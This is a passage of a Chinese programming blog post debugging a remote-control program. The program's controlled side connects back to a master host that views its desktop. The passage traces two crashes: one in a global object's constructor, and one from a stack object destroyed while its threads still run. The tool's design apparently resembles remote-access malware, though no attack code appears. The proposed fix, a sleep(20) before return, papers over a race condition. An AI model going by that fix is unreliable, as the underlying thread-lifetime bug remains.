    *((<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">char</span> *)&chOpt)   = <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>;</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li></ul>

------------------------------------------------------------------------------------------------------------------------------------


------------------------------------------------------------------------------------------------------------------------------------

10.CIniFile 构造函数导致异常

系统自动定义的一个对象

<code class="language-C hljs cs has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;"><span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">// 唯一的一个 ChostApp 对象</span>
ChostApp theApp;</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li></ul>

这个构造函数应该是在最早执行的,在 ChostApp 里面有一个成员

<code class="language-C hljs  has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">CIniFile    m_IniFile;</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li></ul>

所以要首先调用 CIniFile 的构造函数

<code class="language-C hljs objectivec has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">CIniFile::CIniFile(<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">void</span>)
{
    <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">char</span> szAppName[MAX_PATH];
    <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">int</span>  len;
    HINSTANCE   hinst;
    <span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">//hinst = AfxGetInstanceHandle();</span>
    ::GetModuleFileName(GetModuleHandle(<span class="hljs-literal" style="color: rgb(0, 102, 102); box-sizing: border-box;">NULL</span>), szAppName, <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">sizeof</span>(szAppName));
    len = strlen(szAppName);
}</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li></ul>

因为 AfxGetInstanceHandle() 调用导致异常。 
具体可见CSDN论坛讨论。

---------------------------------------------------------------------------------------------------------------------------------

11.栈上对象多线程,析构函数导致程序崩溃

  打开主控端。开启被控端, 此时主控端显示上线。

  在server端点击桌面管理可以正常显示被控端桌面,然后关闭远程桌面,此时被控端出现一个错误: 
TestDll.exe 中的 0x5950cc6f (server.dll) 处有未经处理的异常: 0xC0000005: 读取位置 0x02ecfca4 时发生访问冲突

<code class="hljs avrasm has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">nRet = m_pClient->Send((LPBYTE)lpData, nSize)<span class="hljs-comment" style="color: rgb(136, 0, 0); box-sizing: border-box;">;</span>
<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC64  <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">mov</span>         eax,dword ptr [ebp+<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>Ch]  
<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC67  <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">push</span>        eax  
<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC68  <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">mov</span>         ecx,dword ptr [ebp+<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">8</span>]  
<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC6B  <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">push</span>        ecx  
<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC6C  <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">mov</span>         edx,dword ptr [ebp-<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">18</span>h]  
<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">5950</span>CC6F  <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">mov</span>         ecx,dword ptr [edx+<span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">4</span>]  </code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li></ul>

此时执行到的指令位置是 5950CC6F

对应的源代码是

<code class="language-C hljs r has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">int CManager::Send(LPBYTE lpData, UINT nSize)
{
  int  nRet = <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>;
  <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">try</span>
  {
    nRet = m_pClient->Send((LPBYTE)lpData, nSize);
  }catch(<span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">...</span>){};
  <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> nRet;
}</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li></ul>

寄存器edx的数值是 edx 0x02ecfca0 unsigned long

  奇怪的是在关闭远程桌面以前这个函数执行了很多次,都没有出现这个问题。现在在关闭远程桌面之后就这样。通过对比发现 出现访问异常的内存 在关闭远程桌面之后数值出现了变化。

可以在关闭远程桌面之后 vs2010下内存访问断点,edx + 4 的位置

<code class="hljs haskell has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">          调试  ->  新建断点   ->    新建内存断点</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li></ul>

此时按F5发现中断在manager类的析构函数里面:

<code class="language-C hljs mathematica has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">CManager::~CManager()
<span class="hljs-list" style="box-sizing: border-box;">{
  CloseHandle(m_hEventDlgOpen);
}</span></code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li></ul>

再看堆栈窗口 是从 Loop_ScreenManager 函数结尾调用而来的:

<code class="language-C hljs lasso has-numbering" style="display: block; padding: 0px; color: inherit; box-sizing: border-box; font-family: 'Source Code Pro', monospace;font-size:undefined; white-space: pre; border-radius: 0px; word-wrap: normal; background: transparent;">DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
{
  CClientSocket  socketClient;
  <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">if</span> (<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">!</span>socketClient<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>Connect(CKernelManager<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::m_strMasterHost</span>,  CKernelManager<span class="hljs-tag" style="color: rgb(0, 102, 102); box-sizing: border-box;">::m_nMasterPort</span>))
    <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> <span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">-</span><span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">1</span>;

  CScreenManager  manager(<span class="hljs-subst" style="color: rgb(0, 0, 0); box-sizing: border-box;">&</span>socketClient);

  socketClient<span class="hljs-built_in" style="color: rgb(102, 0, 102); box-sizing: border-box;">.</span>run_event_loop();

  <span class="hljs-keyword" style="color: rgb(0, 0, 136); box-sizing: border-box;">return</span> <span class="hljs-number" style="color: rgb(0, 102, 102); box-sizing: border-box;">0</span>;
}</code><ul class="pre-numbering" style="box-sizing: border-box; position: absolute; width: 50px; top: 0px; left: 0px; margin: 0px; padding: 6px 0px 40px; border-right-width: 1px; border-right-style: solid; border-right-color: rgb(221, 221, 221); list-style: none; text-align: right; background-color: rgb(238, 238, 238);"><li style="box-sizing: border-box; padding: 0px 5px;">1</li><li style="box-sizing: border-box; padding: 0px 5px;">2</li><li style="box-sizing: border-box; padding: 0px 5px;">3</li><li style="box-sizing: border-box; padding: 0px 5px;">4</li><li style="box-sizing: border-box; padding: 0px 5px;">5</li><li style="box-sizing: border-box; padding: 0px 5px;">6</li><li style="box-sizing: border-box; padding: 0px 5px;">7</li><li style="box-sizing: border-box; padding: 0px 5px;">8</li><li style="box-sizing: border-box; padding: 0px 5px;">9</li><li style="box-sizing: border-box; padding: 0px 5px;">10</li><li style="box-sizing: border-box; padding: 0px 5px;">11</li><li style="box-sizing: border-box; padding: 0px 5px;">12</li></ul>

  这样就大概分析出执行流程:

  在上面函数中定义了一个CScreenManager类的对象manager,这个对象在栈中。CScreenManager基类是 CManager 
当在主控端把远程桌面关闭之后run_event_loop 会返回,这样这个函数也就返回了,对象manager也就开始调用自己的析构函数,以前能访问的现在也就不能访问了。 所以就会出现上面的问题。

  其实在运行的时候CScreenManager类的构造函数中创建了2个线程ControlThread ,WorkThread,当正常运行没有调试器中断的时候当函数 Loop_ScreenManager 执行完之后ControlThread 这个线程还未完全退出,不知道这样会产生什么意外后果??

  经过试验在 函数 Loop_ScreenManager结束之前加入 sleep(20) 可以解决这个问题。

------------------------------------------------------------------------------------------------------------------------------------



未完待续。。。

  • 2
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值